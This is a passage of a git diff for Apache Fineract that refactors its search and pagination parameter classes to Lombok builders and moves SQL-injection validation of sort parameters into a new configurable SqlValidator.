FINERACT-2076: SQL query optimization
diff --git a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java
index bf7c152..ccf3f0d 100644
--- a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java
+++ b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/api/ProvisioningEntriesApiResource.java
@@ -147,7 +147,8 @@
             @QueryParam("productId") final Long productId, @QueryParam("categoryId") final Long categoryId,
             @Context final UriInfo uriInfo) {
         this.platformSecurityContext.authenticatedUser();
-        SearchParameters params = SearchParameters.forProvisioningEntries(entryId, officeId, productId, categoryId, offset, limit);
+        SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).provisioningEntryId(entryId).officeId(officeId)
+                .productId(productId).categoryId(categoryId).build();
         Page<LoanProductProvisioningEntryData> entries = this.provisioningEntriesReadPlatformService.retrieveProvisioningEntries(params);
         final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
         return this.entriesApiJsonSerializer.serialize(settings, entries, PROVISIONING_ENTRY_PARAMETERS);
diff --git a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java
index 39818d3..7873e44 100644
--- a/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java
+++ b/fineract-accounting/src/main/java/org/apache/fineract/accounting/provisioning/service/ProvisioningEntriesReadPlatformServiceImpl.java
@@ -319,33 +319,33 @@
         String whereClose = " where ";
         List<Object> items = new ArrayList<>();
 
-        if (searchParams.isProvisioningEntryIdPassed()) {
+        if (searchParams.hasProvisioningEntryId()) {
             sqlBuilder.append(whereClose + " entry.history_id = ?");
             items.add(searchParams.getProvisioningEntryId());
             whereClose = " and ";
         }
 
-        if (searchParams.isOfficeIdPassed()) {
+        if (searchParams.hasOfficeId()) {
             sqlBuilder.append(whereClose + " entry.office_id = ?");
             items.add(searchParams.getOfficeId());
             whereClose = " and ";
         }
 
-        if (searchParams.isProductIdPassed()) {
+        if (searchParams.hasProductId()) {
             sqlBuilder.append(whereClose + " entry.product_id = ?");
             items.add(searchParams.getProductId());
             whereClose = " and ";
         }
 
-        if (searchParams.isCategoryIdPassed()) {
+        if (searchParams.hasCategoryId()) {
             sqlBuilder.append(whereClose + " entry.category_id = ?");
             items.add(searchParams.getCategoryId());
         }
         sqlBuilder.append(" order by entry.id");
 
-        if (searchParams.isLimited()) {
+        if (searchParams.hasLimit()) {
             sqlBuilder.append(" limit ").append(searchParams.getLimit());
-            if (searchParams.isOffset()) {
+            if (searchParams.hasOffset()) {
                 sqlBuilder.append(" offset ").append(searchParams.getOffset());
             }
         }
diff --git a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java
index bd42683..283a9a0 100644
--- a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java
+++ b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/api/TellerApiResource.java
@@ -50,6 +50,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.organisation.teller.data.CashierData;
 import org.apache.fineract.organisation.teller.data.CashierTransactionData;
 import org.apache.fineract.organisation.teller.data.CashierTransactionsWithSummaryData;
@@ -70,6 +71,7 @@
     private final DefaultToApiJsonSerializer<TellerData> jsonSerializer;
     private final TellerManagementReadPlatformService readPlatformService;
     private final PortfolioCommandSourceWritePlatformService commandWritePlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.TEXT_HTML, MediaType.APPLICATION_JSON })
@@ -315,7 +317,10 @@
 
         final LocalDate fromDate = null;
         final LocalDate toDate = null;
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         final Page<CashierTransactionData> cashierTxns = this.readPlatformService.retrieveCashierTransactions(cashierId, false, fromDate,
                 toDate, currencyCode, searchParameters);
 
@@ -344,7 +349,10 @@
         final LocalDate fromDate = null;
         final LocalDate toDate = null;
 
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
 
         final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.readPlatformService
                 .retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
diff --git a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java
index 39c7933..7667fdf 100644
--- a/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java
+++ b/fineract-branch/src/main/java/org/apache/fineract/organisation/teller/data/CashierTransactionDataValidator.java
@@ -56,15 +56,9 @@
     }
 
     public void validateSettleCashAndCashOutTransactions(final Long cashierId, String currencyCode, final BigDecimal transactionAmount) {
-        final Integer offset = null;
-        final Integer limit = null;
-        final String orderBy = null;
-        final String sortOrder = null;
-        final LocalDate fromDate = null;
-        final LocalDate toDate = null;
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().build();
         final CashierTransactionsWithSummaryData cashierTxnWithSummary = this.tellerManagementReadPlatformService
-                .retrieveCashierTransactionsWithSummary(cashierId, false, fromDate, toDate, currencyCode, searchParameters);
+                .retrieveCashierTransactionsWithSummary(cashierId, false, null, null, currencyCode, searchParameters);
         if (MathUtil.isGreaterThan(transactionAmount, cashierTxnWithSummary.getNetCash())) {
             throw new CashierInsufficientAmountException();
         }
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java
index 95347b7..f78119b 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/config/FineractProperties.java
@@ -76,6 +76,8 @@
 
     private FineractModulesProperties module;
 
+    private FineractSqlValidationProperties sqlValidation;
+
     @Getter
     @Setter
     public static class FineractTenantProperties {
@@ -533,4 +535,38 @@
     public static class FineractInvestorModuleProperties extends AbstractFineractModuleProperties {
 
     }
+
+    @Getter
+    @Setter
+    public static class FineractSqlValidationProperties {
+
+        private List<FineractSqlValidationPatternProperties> patterns;
+        private List<FineractSqlValidationProfileProperties> profiles;
+    }
+
+    @Getter
+    @Setter
+    public static class FineractSqlValidationProfileProperties {
+
+        private String name;
+        private String description;
+        private List<FineractSqlValidationPatternReferenceProperties> patternRefs;
+        private Boolean enabled = true;
+    }
+
+    @Getter
+    @Setter
+    public static class FineractSqlValidationPatternReferenceProperties {
+
+        private String name;
+        private Integer order;
+    }
+
+    @Getter
+    @Setter
+    public static class FineractSqlValidationPatternProperties {
+
+        private String name;
+        private String pattern;
+    }
 }
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java
index 4a2eb6b..aba4790 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParameters.java
@@ -18,101 +18,62 @@
  */
 package org.apache.fineract.infrastructure.core.data;
 
+import lombok.AccessLevel;
+import lombok.Builder;
+import lombok.Getter;
 import org.apache.commons.lang3.StringUtils;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
 
-/**
- * <p>
- * Immutable data object representing pagination parameter values.
- * </p>
- */
-public final class PaginationParameters {
+@Builder
+@Getter
+public class PaginationParameters {
 
-    private final boolean paged;
-    private final Integer offset;
-    private final Integer limit;
-    private final String orderBy;
-    private final String sortOrder;
+    // TODO: why do we really need this class? SearchParameters seems to provide similar functionality
 
-    public static PaginationParameters instance(Boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
-        if (null == paged) {
-            paged = false;
-        }
+    public static final int DEFAULT_MAX_LIMIT = 200;
 
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-
-        return new PaginationParameters(paged, offset, maxLimitAllowed, orderBy, sortOrder);
-    }
-
-    private PaginationParameters(boolean paged, Integer offset, Integer limit, String orderBy, String sortOrder) {
-        SQLInjectionValidator.validateSQLInput(orderBy);
-        SQLInjectionValidator.validateSQLInput(sortOrder);
-
-        this.paged = paged;
-        this.offset = offset;
-        this.limit = limit;
-        this.orderBy = orderBy;
-        this.sortOrder = sortOrder;
-    }
-
-    public static Integer getCheckedLimit(final Integer limit) {
-
-        final Integer maxLimitAllowed = 200;
-        // default to max limit first off
-        Integer checkedLimit = maxLimitAllowed;
-
-        if (limit != null && limit > 0) {
-            checkedLimit = limit;
-        } else if (limit != null) {
-            // unlimited case: limit provided and 0 or less
-            checkedLimit = null;
-        }
-
-        return checkedLimit;
-    }
-
-    public boolean isPaged() {
-        return this.paged;
-    }
-
-    public Integer getOffset() {
-        return this.offset;
-    }
+    private boolean paged;
+    private Integer offset;
+    @Getter(AccessLevel.NONE)
+    private Integer limit;
+    private String orderBy;
+    private String sortOrder;
 
     public Integer getLimit() {
-        return this.limit;
+        if (limit == null) {
+            return DEFAULT_MAX_LIMIT;
+        }
+
+        if (limit > 0) {
+            return limit;
+        }
+
+        return null; // unlimited (0 or less)
     }
 
-    public String getOrderBy() {
-        return this.orderBy;
-    }
-
-    public String getSortOrder() {
-        return this.sortOrder;
-    }
-
-    public boolean isOrderByRequested() {
+    public boolean hasOrderBy() {
         return StringUtils.isNotBlank(this.orderBy);
     }
 
-    public boolean isSortOrderProvided() {
+    public boolean hasSortOrder() {
         return StringUtils.isNotBlank(this.sortOrder);
     }
 
-    public boolean isLimited() {
-        return this.limit != null && this.limit.intValue() > 0;
+    public boolean hasLimit() {
+        return this.limit != null && this.limit > 0;
     }
 
-    public boolean isOffset() {
+    public boolean hasOffset() {
         return this.offset != null;
     }
 
+    // TODO: following functions are just doing too much in one place; will disappear with type safe queries
+
     public String orderBySql() {
         final StringBuilder sql = new StringBuilder();
 
-        if (this.isOrderByRequested()) {
+        if (this.hasOrderBy()) {
             sql.append(" order by ").append(this.getOrderBy());
-            if (this.isSortOrderProvided()) {
+            if (this.hasSortOrder()) {
                 sql.append(' ').append(this.getSortOrder());
             }
         }
@@ -121,9 +82,9 @@
 
     public String limitSql() {
         final StringBuilder sql = new StringBuilder();
-        if (this.isLimited()) {
+        if (this.hasLimit()) {
             sql.append(" limit ").append(this.getLimit());
-            if (this.isOffset()) {
+            if (this.hasOffset()) {
                 sql.append(" offset ").append(this.getOffset());
             }
         }
@@ -132,10 +93,10 @@
 
     public String paginationSql() {
         final StringBuilder sqlBuilder = new StringBuilder(50);
-        if (this.isOrderByRequested()) {
+        if (this.hasOrderBy()) {
             sqlBuilder.append(' ').append(this.orderBySql());
         }
-        if (this.isLimited()) {
+        if (this.hasLimit()) {
             sqlBuilder.append(' ').append(this.limitSql());
         }
 
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java
index 856c49b..f8a17b5 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/data/PaginationParametersDataValidator.java
@@ -34,7 +34,7 @@
     public void validateParameterValues(PaginationParameters parameters, final Set<String> supportedOrdeByValues,
             final String resourceName) {
         final List<ApiParameterError> dataValidationErrors = new ArrayList<>();
-        if (parameters.isOrderByRequested() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
+        if (parameters.hasOrderBy() && !supportedOrdeByValues.contains(parameters.getOrderBy())) {
             final String defaultUserMessage = "The orderBy value '" + parameters.getOrderBy()
                     + "' is not supported. The supported orderBy values are " + supportedOrdeByValues;
             final ApiParameterError error = ApiParameterError.parameterError(
@@ -43,7 +43,7 @@
             dataValidationErrors.add(error);
         }
 
-        if (parameters.isSortOrderProvided() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
+        if (parameters.hasSortOrder() && !sortOrderValues.contains(parameters.getSortOrder().toUpperCase())) {
             final String defaultUserMessage = "The sortOrder value '" + parameters.getSortOrder()
                     + "' is not supported. The supported sortOrder values are " + sortOrderValues;
             final ApiParameterError error = ApiParameterError.parameterError(
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java
index 879d0f4..5339bf4 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/SearchParameters.java
@@ -18,518 +18,113 @@
  */
 package org.apache.fineract.infrastructure.core.service;
 
+import lombok.AccessLevel;
 import lombok.AllArgsConstructor;
 import lombok.Builder;
+import lombok.Getter;
 import org.apache.commons.lang3.StringUtils;
 
 @Builder
+@Getter
 @AllArgsConstructor
-public final class SearchParameters {
+public class SearchParameters {
 
-    private final Long officeId;
-    private final String externalId;
-    private final String name;
-    private final String hierarchy;
-    private final String firstname;
-    private final String lastname;
-    private final String status;
-    private final Integer offset;
-    private final Integer limit;
-    private final String orderBy;
-    private final String sortOrder;
-    private final String accountNo;
-    private final String currencyCode;
+    public static final int DEFAULT_MAX_LIMIT = 200;
 
-    private final Long staffId;
+    private Long officeId;
+    private String externalId;
+    private String name;
+    private String hierarchy;
+    private String firstname;
+    private String lastname;
+    private String status;
+    private Integer offset;
+    @Getter(AccessLevel.NONE)
+    private Integer limit;
+    private String orderBy;
+    private String sortOrder;
+    private String accountNo;
+    private String currencyCode;
+    private Long staffId;
+    private Long loanId;
+    private Long savingsId;
+    @Getter(AccessLevel.NONE)
+    private Boolean orphansOnly;
+    private Long provisioningEntryId;
+    private Long productId;
+    private Long categoryId;
+    @Getter(AccessLevel.NONE)
+    private Boolean isSelfUser;
 
-    private final Long loanId;
+    public Integer getLimit() {
+        if (limit == null) {
+            return DEFAULT_MAX_LIMIT;
+        }
 
-    private final Long savingsId;
-    private final Boolean orphansOnly;
+        if (limit > 0) {
+            return limit;
+        }
 
-    // Provisioning Entries Search Params
-    private final Long provisioningEntryId;
-    private final Long productId;
-    private final Long categoryId;
-    private final boolean isSelfUser;
-
-    public static SearchParameters from(final Long officeId, final String externalId, final String name, final String hierarchy) {
-        final Long staffId = null;
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-        return new SearchParameters(officeId, externalId, name, hierarchy, null, null, null, null, null, null, staffId, accountNo, loanId,
-                savingsId, orphansOnly, isSelfUser);
+        return null; // unlimited (0 or less)
     }
 
-    public static SearchParameters forClients(final Long officeId, final String externalId, final String displayName,
-            final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
-            final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-
-        return new SearchParameters(officeId, externalId, displayName, hierarchy, firstname, lastname, status, offset, maxLimitAllowed,
-                orderBy, sortOrder, staffId, accountNo, loanId, savingsId, orphansOnly, isSelfUser);
+    public Boolean getOrphansOnly() {
+        return Boolean.TRUE.equals(orphansOnly);
     }
 
-    public static SearchParameters forGroups(final Long officeId, final Long staffId, final String externalId, final String name,
-            final String hierarchy, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
-            final Boolean orphansOnly) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(officeId, externalId, name, hierarchy, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
-                accountNo, loanId, savingsId, orphansOnly, isSelfUser);
+    public Boolean getIsSelfUser() {
+        return Boolean.TRUE.equals(isSelfUser);
     }
 
-    public static SearchParameters forOffices(final String orderBy, final String sortOrder) {
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-        return new SearchParameters(null, null, null, null, null, null, null, null, orderBy, sortOrder, null, null, null, null, orphansOnly,
-                isSelfUser);
-    }
-
-    public static SearchParameters forLoans(final String externalId, final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder, final String accountNo) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
-                accountNo, loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder, final Long loanId, final Long savingsId) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
-                loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forJournalEntries(final Long officeId, final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder, final Long loanId, final Long savingsId, final String currencyCode) {
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final Boolean orphansOnly = false;
-
-        return new SearchParameters(officeId, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null,
-                loanId, savingsId, orphansOnly, currencyCode);
-    }
-
-    public static SearchParameters forPagination(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
-                savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forPaginationAndAccountNumberSearch(final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder, final String accountNumber) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, accountNumber,
-                loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forPagination(final Integer offset, final Integer limit) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final String orderBy = null;
-        final String sortOrder = null;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId, null, loanId,
-                savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forProvisioningEntries(final Long provisioningEntryId, final Long officeId, final Long productId,
-            final Long categoryId, final Integer offset, final Integer limit) {
-        return new SearchParameters(provisioningEntryId, officeId, productId, categoryId, offset, limit);
-    }
-
-    public static SearchParameters forSavings(final String externalId, final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
-                accountNo, loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forAccountTransfer(final String externalId, final Integer offset, final Integer limit,
-            final String orderBy, final String sortOrder) {
-
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
-                accountNo, loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forSMSCampaign(final Integer offset, final Integer limit, final String orderBy, final String sortOrder) {
-
-        final String externalId = null;
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
-                accountNo, loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    public static SearchParameters forEmailCampaign(final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder) {
-
-        final String externalId = null;
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-        final Long staffId = null;
-        final String accountNo = null;
-        final Long loanId = null;
-        final Long savingsId = null;
-        final Boolean orphansOnly = false;
-        final boolean isSelfUser = false;
-
-        return new SearchParameters(null, externalId, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, staffId,
-                accountNo, loanId, savingsId, orphansOnly, isSelfUser);
-    }
-
-    private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
-            final String firstname, final String lastname, final String status, final Integer offset, final Integer limit,
-            final String orderBy, final String sortOrder, final Long staffId, final String accountNo, final Long loanId,
-            final Long savingsId, final Boolean orphansOnly, boolean isSelfUser) {
-        this.officeId = officeId;
-        this.externalId = externalId;
-        this.name = name;
-        this.hierarchy = hierarchy;
-        this.firstname = firstname;
-        this.lastname = lastname;
-        this.offset = offset;
-        this.limit = limit;
-        this.orderBy = orderBy;
-        this.sortOrder = sortOrder;
-        this.staffId = staffId;
-        this.accountNo = accountNo;
-        this.loanId = loanId;
-        this.savingsId = savingsId;
-        this.orphansOnly = orphansOnly;
-        this.currencyCode = null;
-        this.provisioningEntryId = null;
-        this.productId = null;
-        this.categoryId = null;
-        this.isSelfUser = isSelfUser;
-        this.status = status;
-
-    }
-
-    private SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy,
-            final String firstname, final String lastname, final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder, final Long staffId, final String accountNo, final Long loanId, final Long savingsId,
-            final Boolean orphansOnly, boolean isSelfUser) {
-        this.officeId = officeId;
-        this.externalId = externalId;
-        this.name = name;
-        this.hierarchy = hierarchy;
-        this.firstname = firstname;
-        this.lastname = lastname;
-        this.offset = offset;
-        this.limit = limit;
-        this.orderBy = orderBy;
-        this.sortOrder = sortOrder;
-        this.staffId = staffId;
-        this.accountNo = accountNo;
-        this.loanId = loanId;
-        this.savingsId = savingsId;
-        this.orphansOnly = orphansOnly;
-        this.currencyCode = null;
-        this.provisioningEntryId = null;
-        this.productId = null;
-        this.categoryId = null;
-        this.isSelfUser = isSelfUser;
-        this.status = null;
-    }
-
-    private SearchParameters(final Long provisioningEntryId, final Long officeId, final Long productId, final Long categoryId,
-            final Integer offset, final Integer limit) {
-        this.externalId = null;
-        this.name = null;
-        this.hierarchy = null;
-        this.firstname = null;
-        this.lastname = null;
-        this.orderBy = null;
-        this.sortOrder = null;
-        this.staffId = null;
-        this.accountNo = null;
-        this.loanId = null;
-        this.savingsId = null;
-        this.orphansOnly = null;
-        this.currencyCode = null;
-        this.officeId = officeId;
-        this.offset = offset;
-        this.limit = limit;
-        this.provisioningEntryId = provisioningEntryId;
-        this.productId = productId;
-        this.categoryId = categoryId;
-        this.isSelfUser = false;
-        this.status = null;
-
-    }
-
-    public SearchParameters(final Long officeId, final String externalId, final String name, final String hierarchy, final String firstname,
-            final String lastname, final Integer offset, final Integer limit, final String orderBy, final String sortOrder,
-            final Long staffId, final String accountNo, final Long loanId, final Long savingsId, final Boolean orphansOnly,
-            final String currencyCode) {
-        this.officeId = officeId;
-        this.externalId = externalId;
-        this.name = name;
-        this.hierarchy = hierarchy;
-        this.firstname = firstname;
-        this.lastname = lastname;
-        this.offset = offset;
-        this.limit = limit;
-        this.orderBy = orderBy;
-        this.sortOrder = sortOrder;
-        this.staffId = staffId;
-        this.accountNo = accountNo;
-        this.loanId = loanId;
-        this.savingsId = savingsId;
-        this.orphansOnly = orphansOnly;
-        this.currencyCode = currencyCode;
-        this.provisioningEntryId = null;
-        this.productId = null;
-        this.categoryId = null;
-        this.isSelfUser = false;
-        this.status = null;
-
-    }
-
-    public boolean isOrderByRequested() {
+    public boolean hasOrderBy() {
         return StringUtils.isNotBlank(this.orderBy);
     }
 
-    public boolean isSortOrderProvided() {
+    public boolean hasSortOrder() {
         return StringUtils.isNotBlank(this.sortOrder);
     }
 
-    public static Integer getCheckedLimit(final Integer limit) {
-
-        final Integer maxLimitAllowed = 200;
-        // default to max limit first off
-        Integer checkedLimit = maxLimitAllowed;
-
-        if (limit != null && limit > 0) {
-            checkedLimit = limit;
-        } else if (limit != null) {
-            // unlimited case: limit provided and 0 or less
-            checkedLimit = null;
-        }
-
-        return checkedLimit;
-    }
-
-    public boolean isOfficeIdPassed() {
+    public boolean hasOfficeId() {
         return this.officeId != null && this.officeId != 0;
     }
 
-    public boolean isCurrencyCodePassed() {
-        return this.currencyCode != null;
+    public boolean hasCurrencyCode() {
+        return StringUtils.isNotBlank(this.currencyCode);
     }
 
-    public boolean isLimited() {
-        return this.limit != null && this.limit.intValue() > 0;
+    public boolean hasLimit() {
+        return this.limit != null && this.limit > 0;
     }
 
-    public boolean isOffset() {
+    public boolean hasOffset() {
         return this.offset != null;
     }
 
-    public boolean isScopedByOfficeHierarchy() {
+    public boolean hasHierarchy() {
         return StringUtils.isNotBlank(this.hierarchy);
     }
 
-    public Long getOfficeId() {
-        return this.officeId;
-    }
-
-    public String getCurrencyCode() {
-        return this.currencyCode;
-    }
-
-    public String getExternalId() {
-        return this.externalId;
-    }
-
-    public String getName() {
-        return this.name;
-    }
-
-    public String getHierarchy() {
-        return this.hierarchy;
-    }
-
-    public String getFirstname() {
-        return this.firstname;
-    }
-
-    public String getLastname() {
-        return this.lastname;
-    }
-
-    public String getStatus() {
-        return this.status;
-    }
-
-    public Integer getOffset() {
-        return this.offset;
-    }
-
-    public Integer getLimit() {
-        return this.limit;
-    }
-
-    public String getOrderBy() {
-        return this.orderBy;
-    }
-
-    public String getSortOrder() {
-        return this.sortOrder;
-    }
-
-    public boolean isStaffIdPassed() {
+    public boolean hasStaffId() {
         return this.staffId != null && this.staffId != 0;
     }
 
-    public Long getStaffId() {
-        return this.staffId;
-    }
-
-    public String getAccountNo() {
-        return this.accountNo;
-    }
-
-    public boolean isLoanIdPassed() {
+    public boolean hasLoanId() {
         return this.loanId != null && this.loanId != 0;
     }
 
-    public boolean isSavingsIdPassed() {
+    public boolean hasSavingsId() {
         return this.savingsId != null && this.savingsId != 0;
     }
 
-    public Long getLoanId() {
-        return this.loanId;
-    }
-
-    public Long getSavingsId() {
-        return this.savingsId;
-    }
-
-    public Boolean isOrphansOnly() {
-        if (this.orphansOnly != null) {
-            return this.orphansOnly;
-        }
-        return false;
-    }
-
-    public Long getProvisioningEntryId() {
-        return this.provisioningEntryId;
-    }
-
-    public boolean isProvisioningEntryIdPassed() {
+    public boolean hasProvisioningEntryId() {
         return this.provisioningEntryId != null && this.provisioningEntryId != 0;
     }
 
-    public Long getProductId() {
-        return this.productId;
-    }
-
-    public boolean isProductIdPassed() {
+    public boolean hasProductId() {
         return this.productId != null && this.productId != 0;
     }
 
-    public Long getCategoryId() {
-        return this.categoryId;
-    }
-
-    public boolean isCategoryIdPassed() {
+    public boolean hasCategoryId() {
         return this.categoryId != null && this.categoryId != 0;
     }
-
-    public boolean isSelfUser() {
-        return this.isSelfUser;
-    }
-
-    /**
-     * creates an instance of the SearchParameters from a request for the report mailing job run history
-     *
-     * @return SearchParameters object
-     **/
-    public static SearchParameters fromReportMailingJobRunHistory(final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder) {
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-
-        return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
-                null, false);
-    }
-
-    /**
-     * creates an instance of the {@link SearchParameters} from a request for the report mailing job
-     *
